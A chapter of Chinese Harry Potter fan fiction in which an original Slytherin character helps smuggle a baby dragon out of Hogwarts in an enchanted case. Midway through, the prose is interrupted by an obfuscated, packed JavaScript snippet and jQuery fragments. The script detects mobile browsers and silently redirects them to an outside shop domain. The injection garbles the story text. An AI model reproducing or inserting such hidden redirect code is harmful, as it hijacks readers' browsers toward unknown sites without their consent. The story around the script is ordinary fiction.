那天晚上,尼克没有像往常一样坐在公共休息室里看书。

    他在自己的宿舍里等着。早些时候,刺佬儿已经飞了回来——一小截羊皮纸绑在它腿上,上面只写了一行字:

    「十五号。天文塔。运输笼已经给查理了。」

    晚了会儿,尼克独自离开了斯莱特林公共休息室。

    他没有隐形衣,但他有另一种东西——对费尔奇巡逻路线的了解。

    塞西莉亚在过去两周里帮他整理了一份详细的巡逻时间表。

    它虽然称不上非常精准,但从尼克前两天的观察里,居然有非常强的参考性。

    他甚至怀疑,塞西莉亚是否侧敲旁击到了格兰芬多的技术。毕竟他们有韦斯莱双子那样的堪称违反校规界的天才。

    他沿着地窖的侧廊往上走,在费尔奇经过某条走廊后穿过那道拱门,脚步声被袍子下摆和石板上天然的凹槽消解得一干二净。

    天文塔的石阶又窄又陡,月光从箭垛的缝隙里灌进来,把每一级石阶都切成一半银一半黑。

    他到达塔顶时,那里空无一人。

    箱子果然已经在那里了。一个简陋的木箱,里面的小家伙正发出微弱的、像猫叫又像鸟鸣的细碎声响。

    挪威脊背龙,刚孵出不久,鳞片的颜色很浅,在月光下泛着湿润的光泽。

    尼克没有走近。他靠在塔楼的拱门内侧,将自己隐没在阴影里,灰色的眼睛盯着那口箱子,等着。

    脚步声比他预想的来得更早。

    海格庞大的身躯从楼梯口挤上来,后面跟着哈利、罗恩和赫敏。

    海格的眼睛红红的,看起来大哭过一场。

    “他到了吗?”海格瓮声瓮气地问,带着浓重的口音。

    “还没。”哈利说。

    然后,尼克动了一下。因为他发现一只蚊子正在啃噬自己的手腕。

    然后哈利看到了阴影里的尼克,或者先注意到了他的影子。

    哈利的身体猛地绷紧了,手不自觉地伸向袍子口袋——那里大概藏着魔杖。

    罗恩也僵住了,脸上的雀斑在月光下显得格外清晰。

    只有赫敏想得略多:她的目光从尼克身上扫过,然后落在他身后的夜空中,显然在寻找什么——但那里什么都没有,只有月光和云。

    “你在这里干什么?”哈利的声音比他自己预想的更尖锐。

    尼克叹了口气。他从阴影里走出来一步,让月光落在脸上

    平心静气地讲,他的表情很平静,语气也是如此。

    “散步,”他说,“天气不错。”

    “你不许告诉别人。”哈利的绿眼睛在镜片后瞪着他,声音压得很低。

    尼克歪了歪头,灰色的眼睛里映着月光,看起来几乎是透明的。

    “你以为我想告诉谁?”他说,语气像是在陈述一个显而易见的事实,“德拉科·马尔福已经去告密了。他找了麦格教授。如果你们不想被当场抓住,最好快一点。”

    赫敏的脸一下子白了。罗恩发出一声压抑的咒骂。哈利猛地转向楼梯口,似乎想下去看看情况。

    “不用紧张,”尼克的声音不高,但带着奇异的、让人不由自主停下来的笃定,“麦格教授今晚不会来天文塔。她正在处理一件更重要的事——某个学生报告说三楼走廊有巨怪出没。那个报告当然是假的,但足够让她忙一阵子了。”

    他顿了顿,灰色的眼睛扫过三人惊疑不定的脸,嘴角的弧度加深了一点。

    “我让人安排的。”

    塔顶安静了一瞬。只有风掠过城垛的低吟,和箱子里那条幼龙细碎的、不安的叫声。

    “你……你帮我们?”罗恩的声音有些发飘,像是在确认一件不太真实的事。

    尼克没有直接回答。他低头看了一眼海格脚边那个简陋的木箱,然后抬起眼,灰色的目光落在楼梯口的方向。

    楼梯上响起了脚步声。

    与费尔奇式的拖沓沉重截然不同。它轻快而确定,带着年轻人的感觉——查理·韦斯莱从黑暗中走出来,红头发被夜风吹得乱七八糟。

    他的手里提着一个东西,看起来只是一个普通的、深褐色的龙皮手提箱。大小和海格那个木箱差不多,但表面没有一根木纹,而是光滑得近乎温润,在月光下泛着琥珀色的光泽。

    “查理!”哈利几乎是喊出来的,声音里带着如释重负的沙哑。

    查理朝他们点了点头,然后走到木箱前蹲下。

    他没有打开海格的箱子,而是将自己带来的那只皮箱放在地上,用魔杖轻轻敲了敲锁扣。

    箱子无声地打开了。

    里面空荡荡的——看起来只有一英尺深,底下铺着一层深色的、带六边形纹理的衬垫。但查理把手伸进去时,整条前臂都没入了那个看起来只有巴掌深的箱体,一直没到肩膀。

    赫敏倒吸了一口凉气。

    “无痕伸展咒,”她低声说,眼镜片后的眼睛瞪得溜圆,“而且是很强效的那种……这不符合——”

    “魔法部的运输规定?”尼克替她说完了后半句,语气平淡得像在谈论天气,“是的。这不是魔法部批准的运输箱。这是我们自己的。”

    “是——”赫敏开口。

    “德米特里奥斯。当然。”

    他说“德米特里奥斯”的时候,灰色的眼睛里没有任何多余的情绪,仿佛只是在陈述一个事实。

    “比马尔福实用多了,对吧?”尼克点评道。

    查理从箱子里抽出手,转向海格:“打开吧,海格。我们得把它移过来。”

    海格笨拙地蹲下身,打开了木箱。

    小家伙抬起扁平的脑袋,湿润的眼睛在月光下眨了眨,发出一声细小的、带着鼻音的叫声。

    海格的眼眶又红了,但没有哭出来——只是用那双蒲扇般的大手,小心翼翼地将幼龙从破木箱里捧出来,像捧着一件易碎的珍宝。

    查理接过幼龙,将它放入龙皮箱。

    箱子的内部看起来比外表大了至少二十倍。

    内壁的衬垫是用卫塞克斯龙的腹鳞鞣制的,每一片鳞甲都呈完美的六边形,在箱顶悬挂的光芒下(它应该是恒温的,尼克想)泛出深琥珀色的光泽。

    幼龙的四爪踩在那层衬垫上,发出细微的、沙沙的声响。衬垫微微发热,游龙在里面转了一圈,看起来没有丝毫的排斥。

    赫敏蹲下来,几乎是把脸贴到了箱子边缘。

    她的手指悬在衬垫上方一英寸处,感受到了那股均匀而温和的热度。

    “这是……龙皮做的?”她的声音有些发飘,“卫塞克斯龙的腹鳞?我在《高级神奇动物养殖》里读到过,这种材料的抗咒语冲击等级非常非常高,而且——”

    “而且它值多少钱?”罗恩插嘴,语气里带着一种他不常有的、对昂贵物品的敬畏。

    尼克看了他一眼,嘴角弯了弯:“大约相当于霍格沃茨一个教授的半年薪水。”

    罗恩的嘴巴张开了,又合上了。他看向那只箱子——那只看起来普普通通、深褐色的、被查理随手提上来的箱子——的眼神,从敬畏变成了某种近乎眩晕的东西。

    查理将幼龙安顿好,合上箱盖。

    锁扣发出清脆的“咔哒”一声,表面的所有符文同时闪了一下,然后归于沉寂。

    “我会骑扫帚把它带回罗马尼亚,”查理说,将一根缩短后的绳梯从箱体侧面的暗扣里抽出来,系在自己腰带上,“箱子本身的浮空咒可以抵消大部分重量。天亮之前我们就能到。”

    他的目光在尼克脸上停留了一瞬,然后点了点头。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622880|205993||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“德米特里奥斯夫人会很高兴的。”查理说,声音被夜风吹得有些模糊,但尼克听清了每一个字。

    尼克只是微微颔首,灰色的眼睛在月光下看不出太多情绪。

    查理将箱子挎在肩上,走向塔楼边缘。

    他跨上一把不起眼的彗星扫帚,将箱子的挽带固定在扫帚柄的专用卡扣上,然后双腿一蹬。

    扫帚无声地升空,载着查理和那只价值连城的龙皮箱,滑入了云层。

    月光下,红头发的身影越来越小,最终被夜色吞没,只剩下扫帚尾部那盏银色的导航灯一闪一闪,像一颗迟归的星星。

    塔顶安静下来。

    海格用袖子擦了一把脸,又瓮声瓮气地说了句“我得回去了”,就拖着沉重的脚步走下了楼梯,靴子踩在石阶上发出闷闷的响声。

    剩下的四个人站在月光里。

    赫敏第一个开口:“德米特里,你母亲是怎么知道这件事的?”

    尼克看了她一眼:“我的家族和罗马尼亚保护区有长期合作。查理需要向他的上级汇报,他的上级会通知我母亲。正常的业务流程。”

    他说得滴水不漏,但赫敏的眉头没有松开。

    “那你呢?”她追问,“你为什么要帮忙?”

    尼克沉默了一拍。

    月光把他的影子拉得很长,投在石板地上。

    “一条龙不该死在转运途中。”他说,“而且,德米特里奥斯家族不会让任何一条龙在我们有能力帮助的情况下死去。这是家族的传统,和我个人无关。”

    他转过身,朝楼梯口走去。深灰色的袍子在夜风中轻轻翻动,像是要融入那片银白色的月光里。

    “等一下。”哈利的声音从身后传来。

    尼克停下脚步,没有回头。

    “你——你怎么知道马尔福会去告密?”

    尼克微微侧过头:“因为德拉科·马尔福不是一个能守住秘密的人。而且,他只是想让你们倒霉,并不在乎那条龙的死活。我不一样。”

    他顿了一下,嘴角弯起一个极其短暂的弧度。

    “晚安,波特。”

    然后他走下了楼梯,脚步声沿着石阶渐渐远去,消失在黑暗里。

    哈利站在天文塔上,手里还攥着那件从墙根捡回来的隐形衣。

    银灰色的布料在月光下泛着冷冷的光泽,但他的手指是温热的。

    他不知道自己站了多久。夜风把他的黑发吹得更乱了,眼镜上凝结了一层薄薄的雾气,他后知后觉地想要取下来擦,但又觉得很奇怪。

    他心里天人交战,所幸赫敏完全没有察觉,她在目送尼克离开后,开口道:“他说得对。如果没有那只箱子,我们确实没法安全地把龙送走。”

    罗恩没有接话。他看着尼克消失的方向,罕见地沉默了很久,然后说了一句连他自己都没想到的话:“他这个人真奇怪。”

    “哪里奇怪?”赫敏问。

    罗恩抓了抓后脑勺:“就是——他明明可以什么都不做。他明明可以像马尔福那样去告密,或者就站在旁边看着我们被抓。但他就是选了最麻烦的那种办法。奇怪。”

    “因为他想让自己显得有用。”哈利终于摘下了眼镜,正在用袍子狠狠地擦拭着,“想要让我们觉得他很了不起。”

    罗恩和赫敏同时看向他。

    哈利垂下眼睛,看着手里那件隐形衣,绿色的眼珠在月光下格外明亮。

    “不,好吧,”他最后说,语气里带着一种连他自己都不太确定的迟疑,“我觉得——他也不想让那条龙死。其他的……是顺便的。”

    塔顶的风越来越大,把他们的袍子吹得猎猎作响。

    远处,城堡的灯光一盏一盏地熄灭,只剩月光皎洁。

    他们最终也走下了楼梯。